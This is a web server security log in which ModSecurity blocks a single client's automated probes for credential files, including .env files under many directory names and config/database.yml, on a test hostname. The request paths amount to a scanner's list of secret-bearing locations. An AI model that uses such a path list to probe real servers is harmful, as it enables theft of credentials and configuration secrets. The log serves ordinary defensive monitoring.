[Mon Jul 28 20:45:57.837288 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXwAAAAg&quot;]
[Mon Jul 28 20:45:57.837483 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelXwAAAAg&quot;]
[Mon Jul 28 20:45:57.857512 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mail/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYAAAAAg&quot;]
[Mon Jul 28 20:45:57.857712 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYAAAAAg&quot;]
[Mon Jul 28 20:45:57.857921 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mail/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYAAAAAg&quot;]
[Mon Jul 28 20:45:57.877871 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mailer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYQAAAAg&quot;]
[Mon Jul 28 20:45:57.878062 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYQAAAAg&quot;]
[Mon Jul 28 20:45:57.878227 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mailer/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYQAAAAg&quot;]
[Mon Jul 28 20:45:57.898473 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /deployment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYgAAAAg&quot;]
[Mon Jul 28 20:45:57.898673 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYgAAAAg&quot;]
[Mon Jul 28 20:45:57.898849 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/deployment/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYgAAAAg&quot;]
[Mon Jul 28 20:45:57.918878 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYwAAAAg&quot;]
[Mon Jul 28 20:45:57.919045 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYwAAAAg&quot;]
[Mon Jul 28 20:45:57.919190 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelYwAAAAg&quot;]
[Mon Jul 28 20:45:57.939159 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /helm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZAAAAAg&quot;]
[Mon Jul 28 20:45:57.939337 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZAAAAAg&quot;]
[Mon Jul 28 20:45:57.939489 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/helm/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZAAAAAg&quot;]
[Mon Jul 28 20:45:57.959498 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZQAAAAg&quot;]
[Mon Jul 28 20:45:57.959706 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZQAAAAg&quot;]
[Mon Jul 28 20:45:57.959884 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZQAAAAg&quot;]
[Mon Jul 28 20:45:57.979934 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZgAAAAg&quot;]
[Mon Jul 28 20:45:57.980130 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZgAAAAg&quot;]
[Mon Jul 28 20:45:57.980294 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aIfFZQLZGLzAXRzMJrelZgAAAAg&quot;]
[Mon Jul 28 20:45:58.043097 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelaQAAAAg&quot;]
[Mon Jul 28 20:45:58.043367 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelaQAAAAg&quot;]
[Mon Jul 28 20:45:58.043562 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelaQAAAAg&quot;]
[Mon Jul 28 20:45:58.106312 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelbAAAAAg&quot;]
[Mon Jul 28 20:45:58.106579 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelbAAAAAg&quot;]
[Mon Jul 28 20:45:58.106813 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelbAAAAAg&quot;]
[Mon Jul 28 20:45:58.127518 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelbQAAAAg&quot;]
[Mon Jul 28 20:45:58.127762 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelbQAAAAg&quot;]
[Mon Jul 28 20:45:58.127958 2025] [:error] [pid 1531600] [client 185.177.72.201:35962] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aIfFZgLZGLzAXRzMJrelbQAAAAg&quot;]
[Mon Jul 28 20:45:58.355746 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aIfFZjtW59P3rmsxDxVpfgAAAAI&quot;]
